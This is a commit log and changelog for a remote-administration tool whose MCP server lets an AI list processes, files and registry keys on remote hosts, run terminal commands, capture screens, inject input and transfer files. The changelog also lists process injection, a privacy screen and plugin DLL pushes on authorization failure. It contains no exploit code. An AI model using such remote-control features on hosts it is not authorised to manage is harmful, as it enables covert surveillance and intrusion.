Extend the MCP settings dialog with the read-only checkbox and a
multi-line whitelist box (commas and newlines both accepted, normalized
to a comma-separated list on save), and add English and Traditional
Chinese mappings for the new UI and audit-log strings.

Co-Authored-By: deepseek-v4-pro
2026-08-23 23:23:20 +02:00
yuanyuanxianganddeepseek-v4-pro 8bd6f3b60a Feature: Add list_registry MCP tool
Add a read-only list_registry MCP tool for querying a remote Windows
host's registry. An empty path returns the five root keys; a path such as
HKEY_LOCAL_MACHINE plus subkeys returns that key's immediate subkeys and
values (name, type, and formatted data).

Client side: enumerate with KEY_READ instead of KEY_ALL_ACCESS and map the
full value-type set (REG_SZ, REG_DWORD, REG_BINARY, REG_EXPAND_SZ,
REG_MULTI_SZ, REG_QWORD, REG_NONE) so unknown types are no longer
mis-reported as REG_SZ. The registry manager now always sends both the
TOKEN_REG_PATH and TOKEN_REG_KEY packets (an empty packet when a part is
empty), making the two-packet reply deterministic for the server.

Server side: add the three-phase flow (COMMAND_REGEDIT, COMMAND_REG_FIND,
then PATH plus KEY) with per-host pending state, parse the fixed-width
wire format with bounds checks, format value data for JSON, and guard
registry paths against exceeding MAX_PATH to protect the client stack.

Co-Authored-By: deepseek-v4-pro
2026-08-23 10:37:55 +02:00
yuanyuanxianganddeepseek-v4-pro 8815c4f896 Feature: Add get_audit_log MCP tool
Expose the server main-window audit log (host online/offline, operation
results, alerts) as a read-only, no-arg, in-memory MCP tool. The log lives
in m_CList_Message, a CListCtrl that is only safe to touch on the UI
thread, so add a thread-safe mirror m_MessageLog (guarded by m_cs) and keep
it in sync at the four item-mutation sites: ShowMessage, OnShowErrMessage,
OnMsglogDelete and OnMsglogClear. The tool reads the mirror directly under
m_cs and returns up to MAX_MESSAGE_COUNT (1000) entries, newest first.

Co-Authored-By: deepseek-v4-pro
2026-08-21 20:33:59 +02:00
yuanyuanxianganddeepseek-v4-pro 8de5c00a39 Improve: Park duplicate online connections as standby, promote on old removal
Replacing the old connection on a duplicate login made the client
reconnect in a tight loop. Instead, park the new connection in a standby
list keyed by clientID and promote it into the main host list only after
the old connection is removed by heartbeat timeout or disconnect.

Fix heartbeat attribution so a parked standby refreshes its own
last-heartbeat time rather than the main connection's, otherwise the main
never times out and the standby can never take over. Gate the offline
notification on an actual removal with no promoted standby to avoid a
spurious "host offline" when takeover happens. Skip promoting a standby
already marked removed, and reuse the normal login sign/settings path when
a standby is promoted.

Co-Authored-By: deepseek-v4-pro
2026-08-21 19:50:11 +02:00
yuanyuanxiang d359148841 doc: Add the "docs\macOS_Support_Design.md" to git 2026-08-21 14:15:31 +02:00
yuanyuanxiangandClaude Opus 4.8 11e8b122fe Fix: Client log dialog stops updating past edit-control default limit
The Win32 EDIT control caps text at ~32K/64K chars by default, so the
client log dialog silently stopped accepting appends long before the
512KB truncation logic could run. Call SetLimitText(0) in both
CClientLog and CActivityDialog to lift the cap.

Also unify newline handling in Logger: each entry now ends with exactly
one '\n' at the source, so the in-memory ring-buffer dump (used by the
TCP log query) splits into lines correctly instead of relying on every
Mprintf caller ending its format with '\n'. writeToFile drops the extra
std::endl accordingly.

Additionally fix a CFont leak in CClientLog::OnInitDialog by moving the
font to a member.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-08-20 17:54:33 +02:00
yuanyuanxianganddeepseek-v4-pro 0a1ecfc4ab Improve: Show host remark instead of IP in remote desktop dialog titles
When an online host has a remark set in the client list, use it in place of
the IP in the remote desktop ("远程桌面控制") and virtual screen ("远程虚拟屏幕")
dialog titles, falling back to the IP when no remark is present.

Add a GetTitleHostName() helper to both dialogs. CScreenSpyDlg resolves the
remark through its parent dialog's client map, while CHideScreenSpyDlg uses
the global g_2015RemoteDlg pointer; each falls back to m_IPAddress when the
host has no remark.

Co-Authored-By: deepseek-v4-pro
2026-08-20 16:36:30 +02:00
yuanyuanxianganddeepseek-v4-pro c08315cd79 Fix remote desktop cursor cross-contamination across dialogs
The view-mode "forbidden" cursor was applied with SetClassLongPtr(GCLP_HCURSOR),
which mutates the cursor for the whole window class instead of the single dialog
instance. Opening a second remote-desktop dialog without remote control overwrote
that shared class cursor with IDC_NO, so the already-controlled dialog also began
showing the forbidden icon even though it remained operable.

Move the view-mode cursor decision into OnSetCursor, which Windows routes per
window, and remove the now-unused class-cursor assignments. Remote-control mode
and the remote cursor-shape path are left unchanged.

Also drop the dead m_hRemoteCursor member and the leftover GetIconInfo block
(which leaked hbmMask/hbmColor in ScreenSpyDlg), plus the now-unreferenced
m_bMouseTracking flag.

Co-Authored-By: deepseek-v4-pro
2026-08-20 16:26:12 +02:00
yuanyuanxianganddeepseek-v4-pro 5611ba621c Feature: Add list_services and get_client_log MCP tools
Add the two P2d read-only MCP tools, both one-shot sub-links (mode A') on
the existing single-flight pending registry.

list_services sends COMMAND_SERVICES; the client's CServicesManager emits
TOKEN_SERVERLIST on sub-link creation, parsed as 5 null-terminated fields per
record (display_name/service_name/binary_path/status/start_type) with
zero-padding termination. Services are Windows-only, so LNX/MAC hosts get
-32005 up front instead of a 20s timeout.

get_client_log sends COMMAND_QUERY_LOG; the client's CClientLogManager dumps
its full in-memory Logger ring buffer once, then pushes deltas every 3s. The
MCP path takes the first (full) TOKEN_REPORT_LOG and cancels the sub-link so
later deltas stop, while the MFC log dialog keeps receiving deltas on the
non-pending branch. Log text is client ANSI on Windows, decoded by clientType
like process/file names. MessageHandle intercepts both with
IsPending -> TakeMainResponse + CancelIO. Sync the design doc (P2d section +
verification notes; Linux get_client_log timeout is a client-version gap).

Co-Authored-By: deepseek-v4-pro
2026-08-19 14:28:10 +02:00
yuanyuanxianganddeepseek-v4-pro c6c6e1d5ef Improve: Add optional max_width to get_screenshot
The get_screenshot tool inherited the MFC thumbnail-preview profile, capping
the frame at 1024px wide (1280 on 4K source), which is too small for AI
vision/OCR of dense UI. Add an optional max_width argument that overrides the
width (clamped to the client's 64..1920 limit) while keeping the RTT-adaptive
jpegQuality. Omitted or 0 keeps the existing thumbnail profile; 1920 yields
near-native resolution (full 1080p on a 1080p source, 1920 wide on 4K). Sync
the design doc.

Co-Authored-By: deepseek-v4-pro
2026-08-19 13:41:38 +02:00
yuanyuanxianganddeepseek-v4-pro 61089e5fae Feature: Add list_files and get_screenshot MCP tools
Add the two P2c MCP tools on top of the P2b protocol. list_files lists
drives (COMMAND_LIST_DRIVE -> TOKEN_DRIVE_LIST) or a directory (follow-up
COMMAND_LIST_FILES -> TOKEN_FILE_LIST on the same one-shot sub-link);
get_screenshot reuses the screen-preview RPC with a per-host reqId
correlation so stale or MFC-preview responses fall through to the MFC
path untouched. Both share the P2b single-flight pending registry.

Fix file/process name encoding: the client reads process names, paths and
file names via the ANSI (A) APIs, so they are GBK on Windows regardless of
the CLIENT_CAP_UTF8 capability bit (which governs window titles only).
Decode by clientType (LNX/MAC = UTF-8, Windows = 936) rather than
GetClientEncoding, and convert the list_files path to the client ANSI code
page before sending. Sync Mcp_Phase2_Design.md with the P2c design and the
encoding correction.

Co-Authored-By: deepseek-v4-pro
2026-08-19 13:27:32 +02:00
yuanyuanxianganddeepseek-v4-pro bcde74368d Fix: Resolve window titles by clientID instead of peer IP
Window list (WSLIST) sub-connections carry no capability bits, so
GetClientEncoding fell back to FindHostByIP(peer IP) to locate the main
connection. Under FRP/NAT reverse proxy the sub-connection's socket peer
is 127.0.0.1 or an internal relay address, which does not match the main
connection's recorded public IP; the lookup returned NULL and the client's
UTF-8 window titles were decoded as CP936 (GBK), producing mojibake on
hosts with Chinese window titles.

Resolve the main connection by clientID first (pinned on the sub-connection
after TOKEN_CONN_AUTH via SetID), falling back to the peer-IP lookup only
for legacy clients that do not send TOKEN_CONN_AUTH.

Co-Authored-By: deepseek-v4-pro
2026-08-19 11:05:35 +02:00
yuanyuanxianganddeepseek-v4-pro 6ba6b0289d Feature: Add list_processes, list_windows and get_activity_history MCP tools
Add three read-only P2b MCP tools over the existing protocol. list_processes and list_windows trigger the client via COMMAND_SYSTEM / COMMAND_WSLIST on the main connection and receive TOKEN_PSLIST / TOKEN_WSLIST on a one-shot sub-link; get_activity_history uses the main-connection RPC COMMAND_QUERY_ACTIVITY -> TOKEN_REPORT_ACTIVITY. A per-host single-flight pending registry (m_Pending) with a 20s timeout correlates each response to its request and rejects a concurrent request for the same host with -32003. Parsers stop on the first empty record to ignore the client's LocalSize trailing zero padding, and window titles are decoded per the client UTF-8 capability bit. MessageHandle only adds if-guarded branches, so the MFC dialogs are untouched. Sync Mcp_Phase2_Design.md with the mode A'/A architecture, the verification notes, and the registry-backed config location.

Co-Authored-By: deepseek-v4-pro
2026-08-19 09:58:58 +02:00
yuanyuanxianganddeepseek-v4-pro 86c4f14cf4 Feature: Add search_hosts and get_host_detail MCP tools
Add two pure in-memory MCP tools over the online host list. search_hosts filters by name/remark, IP, group and OS (all optional, AND-combined, ASCII case-insensitive substring match); get_host_detail returns one online host by id and answers -32602 for a missing/non-numeric id and -32002 for an unknown or offline id. Sync Mcp_Phase2_Design.md with the second-review corrections and the P2a implementation.

Co-Authored-By: deepseek-v4-pro
2026-08-18 16:53:28 +02:00
yuanyuanxianganddeepseek-v4-pro 13052b7cae Feature: Add MCP (Model Context Protocol) server integration
Add an optional MCP server (JSON-RPC 2.0 over Streamable HTTP) exposing
an online-host listing tool, protected by a Bearer token. Disabled by
default; configured via a new "Extensions > MCP Settings" dialog.

- McpServer: httplib + JSON-RPC 2.0 dispatch (initialize/ping/tools/list/tools/call)
- McpSettingsDlg: runtime-created dialog for enable/port/bind/token
- HostJson: extract single-host JSON serialization shared with WebService
- FRP: expose MCP port (union with listening/Web ports) when bound to 0.0.0.0
- i18n: en_US / zh_TW translations

Co-Authored-By: deepseek-v4-pro
2026-08-16 14:37:11 +02:00
yuanyuanxianganddeepseek-v4-pro 43398e405e Feature: Add icons to online host context menu items
Add 16x16 icons for the three context-menu items that previously had
none: "Activity History" (Client Management), "Browse Window" (Remote
Control), and "Proxy Port - Auto Start" (Client Proxy). Register three
new bitmap resources and extend the main dialog's bitmap array from 63
to 66 entries so each menu item renders an intuitive glyph.

Co-Authored-By: deepseek-v4-pro
2026-08-15 13:42:57 +02:00
yuanyuanxianganddeepseek-v4-pro 29929e48b2 Feature: Add client activity history recording and display
Record the client's active-window history (start time, window title, and
dwell duration), newest first, skipping dwellings under 5 seconds and
breaking the timing on idle, capped at 500 entries. Add an "Activity
History" item inside the host's Client Management submenu that requests
the snapshot over the main connection and shows it in a new dialog. The
dialog rebuilds its edit control as a Unicode window so UTF-8 titles
render correctly instead of degrading to "?" through the MBCS ANSI
boundary. The menu item and dialog title go through _TR and are
localized in en_US and zh_TW.

Co-Authored-By: deepseek-v4-pro
2026-08-15 11:09:14 +02:00
yuanyuanxianganddeepseek-v4-pro d0bad75284 Feature: Remember host list sort preference in main dialog
Persist the sort column and direction chosen via the online host list
header (list\OnlineListSort registry key) so the next launch defaults to
the same sort. Re-apply the sort when hosts come online/offline so newly
connected hosts land in their sorted position instead of appending at the
end.

Co-Authored-By: deepseek-v4-pro
2026-08-13 13:12:29 +02:00
yuanyuanxianganddeepseek-v4-pro 9d2e9ec8ca Feature: Remember process/window list sort preference
Persist the sort column and direction chosen via the list header so the
next time the process or window management dialog opens it defaults to
the same sort. Process and window lists are remembered separately
(list\ProcessListSort and list\WindowListSort registry keys) since their
columns have different meanings.

Co-Authored-By: deepseek-v4-pro
2026-08-13 12:59:29 +02:00
yuanyuanxianganddeepseek-v4-pro 2d7f224a22 Fix: process list architecture column sorting was a no-op
The process list stored the architecture string only in ItemData::Arch,
leaving Data[3] (the architecture column) empty. Sorting by the
architecture column therefore compared empty strings and did nothing.
Populate Data[3] with the architecture value so the sort works.

Co-Authored-By: deepseek-v4-pro
2026-08-13 12:44:14 +02:00
yuanyuanxiangandDeepSeek V4 Pro c8973282cb Feature: Add "Unban IP" to log message context menu in main dialog
- Add "Unban IP" menu item to the log message list (m_CList_Message)
  right-click context menu, performing two actions on the extracted IP:
  1. Remove the IP from the IPBlacklist singleton and persist to config
  2. Scan the entire history host list (m_ClientMap->GetAll()) for all
     clients matching the IP with AUTH_FORBIDDEN status, and restore
     them to UNAUTHORIZED (0) — requiring re-authorization for safety
- Reuses ExtractFirstIPFromMessage() for dependency-free IPv4 parsing
- Handles the case where an IP is not in the blacklist and has no
  matching forbidden clients with a clear "no action needed" message
- Menu item is grayed out when no log entry is selected
- Sync en_US / zh_TW language files with new translation strings

Co-Authored-By: DeepSeek V4 Pro
2026-08-07 11:45:18 +02:00
yuanyuanxiangandDeepSeek V4 Pro 7bbc47a0ee Feature: Add "Ban IP" to log message context menu in main dialog
- Add "Ban IP" menu item to the log message list (m_CList_Message)
  right-click context menu, allowing users to extract IPv4 addresses from
  selected log entries and add them directly to the IP blacklist
- Reuses ExtractFirstIPFromMessage() from the previous commit for
  dependency-free IPv4 parsing with per-segment 0-255 validation
- Checks against whitelist before banning (whitelisted IPs cannot be
  banned) and skips IPs already in blacklist with clear feedback
- Immediately persists via THIS_CFG.SetStr to the config ini file;
  IPBlacklist singleton takes effect instantly — subsequent connections
  from banned IPs are rejected in IOCPServer::OnAccept() which already
  calls IsIPBlacklisted() on every new connection
- Menu item is grayed out when no log entry is selected
- Sync en_US / zh_TW language files with new translation strings

Co-Authored-By: DeepSeek V4 Pro
2026-08-06 20:44:33 +02:00
yuanyuanxiangandDeepSeek V4 Pro eeacbe5d61 Feature: Add "Online Notify" to log message context menu in main dialog
- Add "Online Notify" menu item to the log message list (m_CList_Message)
  right-click context menu, allowing users to extract IPv4 addresses from
  selected log entries and add them to notification keywords
- Implement ExtractFirstIPFromMessage() for dependency-free IPv4 parsing
  with per-segment 0-255 validation, handling diverse log message formats
- Extend NotifyManager::ShouldNotify with IP column (ONLINELIST_IP)
  fallback check, ensuring IP keywords match regardless of the user's
  configured ColumnIndex setting
- OnMsglogLoginNotify only appends keywords and enables the rule without
  overwriting the user's existing ColumnIndex or TriggerType settings
- Menu item is automatically grayed out when PowerShell is unavailable
  or no log entry is selected
- Sync en_US / zh_TW language files with new translation strings

Co-Authored-By: DeepSeek V4 Pro
2026-08-06 18:13:14 +02:00
yuanyuanxiangandDeepSeek V4 Pro 7c09e9dd8c Fix: Move ONLINELIST_PRIVILEGE to end of enum to fix history host column data corruption
Commit 6d0b1bb (Feat: Add privilege column) inserted ONLINELIST_PRIVILEGE
at enum value 9, shifting INSTALLTIME from 9→10 and PATH from 12→13.
However, FileUpload_Lib (SimplePlugins) is compiled against a separate
copy of context.h that still uses the old enum values. Since
HostInfo.cpp's SaveClientMapData uses OLD enum values to read
sClientInfo[], it was reading privilegeStr for InstallTime and client
type for ProgramPath — corrupting the history host database.

Fix: move ONLINELIST_PRIVILEGE to value 16 (just before MAX), restoring
all original enum values (INSTALLTIME=9, PATH=12, etc.) so the
pre-built library can continue reading correct data without recompilation.

The 'permission' column now appears as the rightmost column in the
online host list instead of between 'version' and 'install time'.

Co-Authored-By: DeepSeek V4 Pro
2026-08-05 20:07:21 +02:00
131 changed files with 28218 additions and 475 deletions

No files matched your search

+54
View File
@@ -378,6 +378,60 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
## 更新日志 ## 更新日志
### v1.4.0 (2026.10.7)
**SimplePlugins 功能迁移 & 远程交互增强 & MCP 扩展 & 国际化**
**新功能:**
- **SimplePlugins 功能迁移(实验功能)**:文件管理 / 隐私屏幕 / 远程画板三个功能原生迁入客户端,作为在线主机右键「实验功能」子菜单交付,配 16x16 图标(位图数组 66→69)
- **MCP 设备管理控制工具**:新增 kill_process / operate_window / control_service / power_action(单一 McpManage 开关 + 关闭只读),ready→confirm 生命周期 + WaitSendIdle 排空出站缓冲;MCP 设置新增「管理操作」勾选、主工具栏 MCP 入口
- **远程交谈**:「远程交谈」工具栏按钮(COMMAND_CHAT 161 / TOKEN_CHAT_START 62)打开双向聊天,支持服务端触发屏幕锁 / 解锁
- **TCP/UDP 连接管理**:工具栏按钮列出受管主机 TCP/UDP 连接,右键强制断开 IPv4 TCP(iphlpapi 枚举 + CConnectionsDlg)
- **主机管理**:迁移 CMachineManager(进程 / 窗口 / 网络 / 软件 / IE 历史 / 收藏夹 / 服务 / 任务 / hosts 枚举 + 进程注入),COMMAND_MACHINE_MANAGE 162
- **授权失败触发器**:新增 TRIGGER_AUTH_FAILED 触发类型(与主机上线触发独立),授权失败时下发插件 DLL,受 ShouldLogAuth 去重约束
- **iPhone 远程音频**:WebAudio + 自托管 opus-decoder WASM 解码,修复 iOS 无 MSE 静音
- **画质与传输控制**:远程桌面 / 屏幕预览质量等级菜单(各 6 档可配置)+ 文件传输速度对话框(7 档 + 无限档,CMD_FILE_SPEED 252)
- **Shine/HELL 协议选择**:分享 / 传输主机时可选协议,尾随冒号字段透传,旧客户端兼容
- **Go Web UI 子路径部署**:YAMA_WEB_BASE_PATH 挂载整个 Web UI 到 URL 前缀
- **国际化**:德语(de_DE)第 4 种语言、语言切换工具栏按钮、剩余字符串翻译补齐;远程桌面剪贴板按钮(全屏可达)
**改进:**
- 通知设置关键词改为多行输入(每行一个,存储仍分号分隔,兼容既有 notify.ini)
**Bug 修复:**
- HTTP 分片续包误置 m_bShouldUnmask 致后续包丢失(进程列表 kill 后空列表)
- 即时消息弹窗标题乱码(GBK code_page 声明)
- geo-IP 查询阻塞主机双击提示(仅本地库加载时查询 + 进程内缓存)
- 主机管理 IE 历史字符串泄漏(CoTaskMemFree)、隐私屏幕 0xCC 乱码日志
### v1.3.9 (2026.9.2)
**MCP 服务端集成(AI 远程管理)& 远程控制与文件传输闭环 & 主控增强**
**新功能:**
- **MCP 服务端集成**:本地 `127.0.0.1:6544` 暴露 JSON-RPC 2.0 接口,Bearer Token 鉴权,「扩展 > MCP 设置」对话框配置启用 / 端口 / 绑定 / Token;23 个工具覆盖「观测 → 执行 → 控制 → 传输」全链路,默认关闭、分级开关(只读 / 白名单 / 终端 / 远程控制 / 文件传输)全面审计
- **MCP 观测类工具(只读)**:search_hosts、get_host_detail、list_processes、list_windows、get_activity_history、list_files、get_screenshot(可选 max_width)、list_services、get_client_log、list_registry、get_audit_log;单飞请求注册表 20s 超时 + 编码修正(clientType / clientID 定位)
- **MCP 远程终端工具**:exec_command 一次性执行 + terminal_open / terminal_exec / terminal_close 持久终端(cwd / 环境保留,空闲 300s 清扫),哨兵判定与 timeout_ms 解析修复
- **MCP 远程控制工具**:remote_open / remote_close 会话 + remote_keyboard(key_down / up / press / type)、remote_mouse(move / click / drag / scroll)、remote_clipboard 注入;与人工 Web 查看双向互斥,会话状态机 busy / closed 加固
- **MCP 文件传输工具**:download_file(V2 协议 + SHA-256 校验)、upload_file(主连接上传),客户端侧 `COMMAND_SEND_FILE_V2` 懒初始化 `InitFileUpload` 修复上传截断
- **客户端活动历史**:记录活跃窗口历史(上限 500 条、跳过 <5s),主机「客户端管理」子菜单新增「活动历史」对话框,Unicode 编辑控件正确渲染 UTF-8 标题
- **日志右键菜单三连**:消息日志右键新增「在线通知」「拉黑 IP」「解封 IP」,IPv4 提取即时生效
- **列表排序记忆**:主机列表、进程 / 窗口列表排序偏好持久化(`list\*Sort` 注册表键),下次启动默认沿用
**改进:**
- 重复连接 standby 处理:重复登录暂存 standby 待旧连接超时 / 断线后晋升,避免循环重连与误报离线
- 远程桌面 / 虚拟屏幕对话框标题显示主机备注而非 IP(无备注回退 IP)
- 主机列表三态排序(升序 → 降序 → 恢复默认,默认序按在线时间重建)
- 在线主机右键三个菜单项新增图标(位图数组 63→66)
**Bug 修复:**
- 客户端屏幕控制批解析错误:记录数是 7 的倍数时误判 MSG32 致注入错乱(`%48==0` 优先)
- 心跳延迟更新 use-after-free:跨 PostMessage 持有 IoRefCount + memcpy 显式截断
- ONLINELIST_PRIVILEGE 枚举错位损坏历史数据库(权限列移至 16)
- 远程桌面光标跨对话框污染(改 `OnSetCursor` 逐窗口路由)
- 客户端日志对话框 EDIT 上限停止刷新(`SetLimitText(0)`)
- 窗口管理器视图检查读取陈旧状态、进程列表架构列排序无效、FRP / NAT 下窗口标题乱码
### v1.3.8 (2026.8.3) ### v1.3.8 (2026.8.3)
**SYSTEM 权限客户端 & 主控可用性增强 & Bug 修复** **SYSTEM 权限客户端 & 主控可用性增强 & Bug 修复**
+54
View File
@@ -378,6 +378,60 @@ Valid : 2026-02-01 to 2028-02-01
## Changelog ## Changelog
### v1.4.0 (2026.10.7)
**SimplePlugins Feature Migration & Remote Interaction Enhancements & MCP Expansion & i18n**
**New features:**
- **SimplePlugins feature migration (experimental)**: file management / privacy screen / drawing board migrated natively into the client and exposed as an "Experimental Features" right-click submenu, with 16x16 icons (bitmap array 66→69)
- **MCP device management-control tools**: kill_process / operate_window / control_service / power_action behind a single McpManage flag (plus read-only off), with a ready→confirm lifecycle and WaitSendIdle buffer draining; "management operations" checkbox in MCP settings and an MCP toolbar entry
- **Two-way remote chat**: a "远程交谈" toolbar button (COMMAND_CHAT 161 / TOKEN_CHAT_START 62) opens the chat dialog, with server-triggered screen lock / unlock
- **TCP/UDP connection management**: a toolbar button lists the managed host's TCP/UDP connections with right-click force-disconnect for IPv4 TCP (iphlpapi enumeration + CConnectionsDlg)
- **Machine management**: CMachineManager migrated (process / window / network / software / IE history / favorites / service / task / hosts enumeration plus process injection), COMMAND_MACHINE_MANAGE 162
- **Auth-failed trigger**: new TRIGGER_AUTH_FAILED type (independent of the host-online trigger) pushes plugin DLLs on authorization failure, gated by ShouldLogAuth dedup
- **iPhone remote audio**: Web Audio API + self-hosted opus-decoder WASM decoding fixes silent audio on iOS without MSE
- **Quality & transfer controls**: configurable remote-desktop / screen-preview quality-level menus (six presets each) plus a file-transfer speed dialog (seven presets + unlimited, CMD_FILE_SPEED 252)
- **Shine/HELL protocol selection**: choose the protocol when sharing / transferring a host, passed as a trailing colon field, backward compatible
- **Go web UI subpath deployment**: YAMA_WEB_BASE_PATH mounts the whole web UI under a URL prefix
- **i18n**: German (de_DE) as the fourth language, a language-switch toolbar button, remaining string translations; remote-desktop clipboard buttons (reachable in fullscreen)
**Improvements:**
- Notification keyword input is now multi-line (one keyword per line; the stored format stays semicolon-separated, compatible with existing notify.ini)
**Bug fixes:**
- HTTP continuation chunks mis-set m_bShouldUnmask, dropping subsequent packets (blank process list after kill)
- Garbled instant-message popup title (GBK code_page declaration)
- geo-IP lookup blocking the host double-click tooltip (only queried when a local DB is loaded, plus in-process caching)
- Machine-management IE-history string leak (CoTaskMemFree) and privacy-screen 0xCC garbled logs
### v1.3.9 (2026.9.2)
**MCP Server Integration (AI Remote Management) & Remote Control / File Transfer Loop & Master Enhancements**
**New features:**
- **MCP server integration**: local JSON-RPC 2.0 endpoint on `127.0.0.1:6544` with Bearer token auth, configured via "Extensions > MCP Settings"; 23 tools spanning observe → execute → control → transfer, disabled by default with per-tier gates (read-only / whitelist / terminal / remote control / file transfer) and full audit logging
- **MCP read-only observation tools**: search_hosts, get_host_detail, list_processes, list_windows, get_activity_history, list_files, get_screenshot (optional max_width), list_services, get_client_log, list_registry, get_audit_log; single-flight pending registry with 20s timeout, plus encoding fixes (clientType / clientID resolution)
- **MCP remote terminal tools**: one-shot exec_command plus persistent terminal_open / terminal_exec / terminal_close (cwd and environment preserved, 300s idle sweep); sentinel detection and timeout_ms parsing fixes
- **MCP remote control tools**: remote_open / remote_close sessions plus remote_keyboard (key_down / up / press / type), remote_mouse (move / click / drag / scroll), and remote_clipboard injection; two-way mutual exclusion with human Web viewing and a hardened busy/closed session state machine
- **MCP file transfer tools**: download_file (V2 protocol + SHA-256 verification) and upload_file (main-connection upload); client-side lazy `InitFileUpload` in `COMMAND_SEND_FILE_V2` fixes truncated uploads
- **Client activity history**: records active-window history (capped at 500 entries, skips <5s); new "Activity History" item under the host's Client Management menu with a Unicode edit control for correct UTF-8 title rendering
- **Log context-menu trio**: right-click "Online Notify", "Ban IP", and "Unban IP" on the message log, with IPv4 extraction applied immediately
- **Sort preference memory**: host list and process/window list sort preferences persisted (`list\*Sort` registry keys), restored on next launch
**Improvements:**
- Duplicate connections parked as standby and promoted after the old connection times out / disconnects, avoiding reconnect loops and false offline notifications
- Remote desktop and virtual screen dialog titles show the host remark instead of the IP (falling back to IP)
- Three-state host list sorting (ascending → descending → restore default, default rebuilt by online time)
- Icons added to three online-host context menu items (bitmap array 63→66)
**Bug fixes:**
- Client screen-control batch misparse: record count that is a multiple of 7 was misclassified as MSG32, garbling injected input (`%48==0` checked first)
- Heartbeat deferred-update use-after-free: IoRefCount held across PostMessage plus explicit memcpy truncation
- ONLINELIST_PRIVILEGE enum shift corrupted the history host database (column moved to 16)
- Remote desktop cursor cross-contamination across dialogs (routed via `OnSetCursor` per window)
- Client log dialog stopped refreshing past the EDIT control limit (`SetLimitText(0)`)
- Window manager view check reading stale state, process-list architecture column sort no-op, and FRP/NAT window-title mojibake
### v1.3.8 (2026.8.3) ### v1.3.8 (2026.8.3)
**SYSTEM-level Client & Master Usability Enhancements & Bug Fixes** **SYSTEM-level Client & Master Usability Enhancements & Bug Fixes**
+54
View File
@@ -378,6 +378,60 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
## 更新日誌 ## 更新日誌
### v1.4.0 (2026.10.7)
**SimplePlugins 功能遷移 & 遠端互動增強 & MCP 擴充 & 國際化**
**新功能:**
- **SimplePlugins 功能遷移(實驗功能)**:檔案管理 / 隱私螢幕 / 遠端畫板三個功能原生遷入用戶端,作為線上主機右鍵「實驗功能」子選單交付,配 16x16 圖示(位圖陣列 66→69)
- **MCP 裝置管理控制工具**:新增 kill_process / operate_window / control_service / power_action(單一 McpManage 開關 + 關閉唯讀),ready→confirm 生命週期 + WaitSendIdle 排空出站緩衝;MCP 設定新增「管理操作」勾選、主工具列 MCP 入口
- **遠端交談**:「遠端交談」工具列按鈕(COMMAND_CHAT 161 / TOKEN_CHAT_START 62)開啟雙向交談,支援伺服端觸發螢幕鎖 / 解鎖
- **TCP/UDP 連線管理**:工具列按鈕列出受管主機 TCP/UDP 連線,右鍵強制斷開 IPv4 TCP(iphlpapi 列舉 + CConnectionsDlg)
- **主機管理**:遷移 CMachineManager(處理程序 / 視窗 / 網路 / 軟體 / IE 歷史 / 收藏夾 / 服務 / 排程工作 / hosts 列舉 + 處理程序注入),COMMAND_MACHINE_MANAGE 162
- **授權失敗觸發器**:新增 TRIGGER_AUTH_FAILED 觸發類型(與主機上線觸發獨立),授權失敗時下發外掛程式 DLL,受 ShouldLogAuth 去重約束
- **iPhone 遠端音訊**:WebAudio + 自託管 opus-decoder WASM 解碼,修復 iOS 無 MSE 靜音
- **品質與傳輸控制**:遠端桌面 / 螢幕預覽品質等級選單(各 6 檔可設定)+ 檔案傳輸速度對話框(7 檔 + 無限檔,CMD_FILE_SPEED 252)
- **Shine/HELL 協定選擇**:分享 / 傳輸主機時可選協定,尾隨冒號欄位透傳,舊用戶端相容
- **Go Web UI 子路徑部署**:YAMA_WEB_BASE_PATH 掛載整個 Web UI 到 URL 前綴
- **國際化**:德語(de_DE)第 4 種語言、語言切換工具列按鈕、剩餘字串翻譯補齊;遠端桌面剪貼簿按鈕(全螢幕可達)
**改進:**
- 通知設定關鍵詞改為多行輸入(每行一個,儲存仍分號分隔,相容既有 notify.ini)
**Bug 修復:**
- HTTP 後續封包誤置 m_bShouldUnmask 致後續封包遺失(處理程序列表 kill 後空列表)
- 即時訊息快顯視窗標題亂碼(GBK code_page 宣告)
- geo-IP 查詢阻塞主機雙擊提示(僅本機資料庫載入時查詢 + 處理程序內快取)
- 主機管理 IE 歷史字串洩漏(CoTaskMemFree)、隱私螢幕 0xCC 亂碼記錄
### v1.3.9 (2026.9.2)
**MCP 伺服端整合(AI 遠端管理)& 遠端控制與檔案傳輸閉環 & 主控增強**
**新功能:**
- **MCP 伺服端整合**:本地 `127.0.0.1:6544` 暴露 JSON-RPC 2.0 介面,Bearer Token 鑑權,「擴充 > MCP 設定」對話框設定啟用 / 連接埠 / 綁定 / Token;23 個工具覆蓋「觀測 → 執行 → 控制 → 傳輸」全鏈路,預設關閉、分級開關(唯讀 / 白名單 / 終端 / 遠端控制 / 檔案傳輸)全面稽核
- **MCP 觀測類工具(唯讀)**:search_hosts、get_host_detail、list_processes、list_windows、get_activity_history、list_files、get_screenshot(可選 max_width)、list_services、get_client_log、list_registry、get_audit_log;單飛請求登錄表 20s 逾時 + 編碼修正(clientType / clientID 定位)
- **MCP 遠端終端工具**:exec_command 一次性執行 + terminal_open / terminal_exec / terminal_close 持久終端(cwd / 環境保留,閒置 300s 清掃),哨兵判定與 timeout_ms 解析修復
- **MCP 遠端控制工具**:remote_open / remote_close 工作階段 + remote_keyboard(key_down / up / press / type)、remote_mouse(move / click / drag / scroll)、remote_clipboard 注入;與人工 Web 查看雙向互斥,工作階段狀態機 busy / closed 加固
- **MCP 檔案傳輸工具**:download_file(V2 協定 + SHA-256 校驗)、upload_file(主連線上傳),用戶端側 `COMMAND_SEND_FILE_V2` 懶初始化 `InitFileUpload` 修復上傳截斷
- **用戶端活動歷史**:記錄活躍視窗歷史(上限 500 條、跳過 <5s),主機「用戶端管理」子選單新增「活動歷史」對話框,Unicode 編輯控件正確渲染 UTF-8 標題
- **訊息右鍵選單三連**:訊息記錄右鍵新增「線上通知」「封鎖 IP」「解封 IP」,IPv4 提取即時生效
- **列表排序記憶**:主機列表、處理程序 / 視窗列表排序偏好持久化(`list\*Sort` 登錄檔鍵),下次啟動預設沿用
**改進:**
- 重複連線 standby 處理:重複登入暫存 standby 待舊連線逾時 / 斷線後晉升,避免循環重連與誤報離線
- 遠端桌面 / 虛擬螢幕對話框標題顯示主機備註而非 IP(無備註回退 IP)
- 主機列表三態排序(升冪 → 降冪 → 恢復預設,預設序按上線時間重建)
